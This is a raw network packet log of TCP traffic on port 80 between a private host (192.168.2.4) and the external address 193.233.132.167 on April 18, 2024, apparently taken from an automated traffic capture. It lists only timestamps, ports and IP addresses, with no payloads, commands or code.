Apr 18, 2024 23:40:20.921730995 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921770096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921773911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921802044 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921808958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921824932 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921845913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921861887 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921885014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921896935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921925068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921941996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921962023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.921972990 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.921999931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922008038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922036886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922044992 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922075033 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922087908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922115088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922122955 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922152042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922161102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922190905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922199011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922229052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922244072 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922266960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922277927 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922305107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922342062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922353983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922379971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922385931 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922419071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922426939 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922456026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922471046 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922493935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922494888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922533035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922569990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922580004 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922606945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922611952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922646046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922657967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922683001 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922709942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922724009 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922761917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922780991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922787905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922826052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922838926 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922864914 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922887087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922903061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922935963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922935963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.922944069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922981977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.922987938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923021078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923038006 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923059940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923067093 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923100948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923110008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923140049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923146963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923187017 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923198938 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923237085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923249960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923274994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923285961 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923314095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923326015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923352957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923365116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923396111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923398972 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923435926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923441887 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923475981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923480988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923512936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923523903 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923552036 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923558950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923593998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923600912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923631907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923636913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923671007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923676968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923710108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923723936 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923748970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923753977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923788071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923793077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923826933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923835039 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923866987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923871994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923906088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923917055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923947096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923957109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.923985958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.923996925 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924024105 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924027920 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924068928 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924082994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924127102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924129963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924169064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924181938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924209118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924213886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924248934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924258947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924290895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924299955 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924330950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924452066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924467087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924494028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924506903 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924532890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924539089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924590111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924626112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924627066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924649954 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924665928 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924681902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924704075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924714088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924746990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.924758911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.924798965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.993057966 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.993138075 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.993601084 CEST	49788	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.129626036 CEST	80	49786	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.130172968 CEST	80	49786	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.130244017 CEST	49786	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170521975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170564890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170627117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170722961 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170788050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170826912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170862913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170878887 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170901060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170937061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170941114 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170963049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.170975924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.170980930 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171015978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171025991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171055079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171103954 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171112061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171152115 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171170950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171190977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171226978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171241045 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171264887 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171287060 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171303034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171339035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171375990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171391964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171412945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171449900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171467066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171504021 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171540976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171555996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171578884 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171614885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171632051 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171652079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171670914 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171695948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171705008 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171734095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171771049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171808004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171828985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171848059 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171883106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171885967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171904087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171924114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171940088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.171961069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.171998978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172014952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172034979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172050953 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172074080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172132969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172171116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172192097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172208071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172233105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172244072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172250986 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172282934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172318935 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172348976 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172357082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172372103 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172394991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172430038 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172465086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172489882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172503948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172513962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172540903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172578096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172599077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172615051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172646046 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172652006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172676086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172688961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172725916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172744989 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172763109 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172782898 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172800064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172805071 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172837973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172868967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172877073 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172914982 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172933102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172955990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.172981977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.172992945 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173002005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173029900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173065901 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173103094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173124075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173141003 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173163891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173181057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173216105 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173253059 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173269987 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173289061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173300982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173326969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173341990 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173366070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173403978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173439980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173456907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173480034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173516035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173531055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173556089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173568010 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173593998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173607111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173630953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173667908 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173683882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173707008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173744917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173759937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173783064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173820019 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173834085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173857927 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173875093 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173897028 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173935890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173935890 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173955917 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.173973083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.173994064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174010038 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174046993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174060106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174083948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174120903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174129963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174163103 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174201012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174231052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174237013 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174252033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174276114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174314022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174350023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174357891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174388885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174426079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174438953 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174463987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174485922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174519062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174556971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174570084 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174593925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174632072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174643040 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174671888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174706936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174721003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174746037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174755096 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174793005 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174809933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174823999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174839973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174840927 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174860001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:21.174877882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:21.174887896 CEST	49768	80	192.168.2.4	193.233.132.167
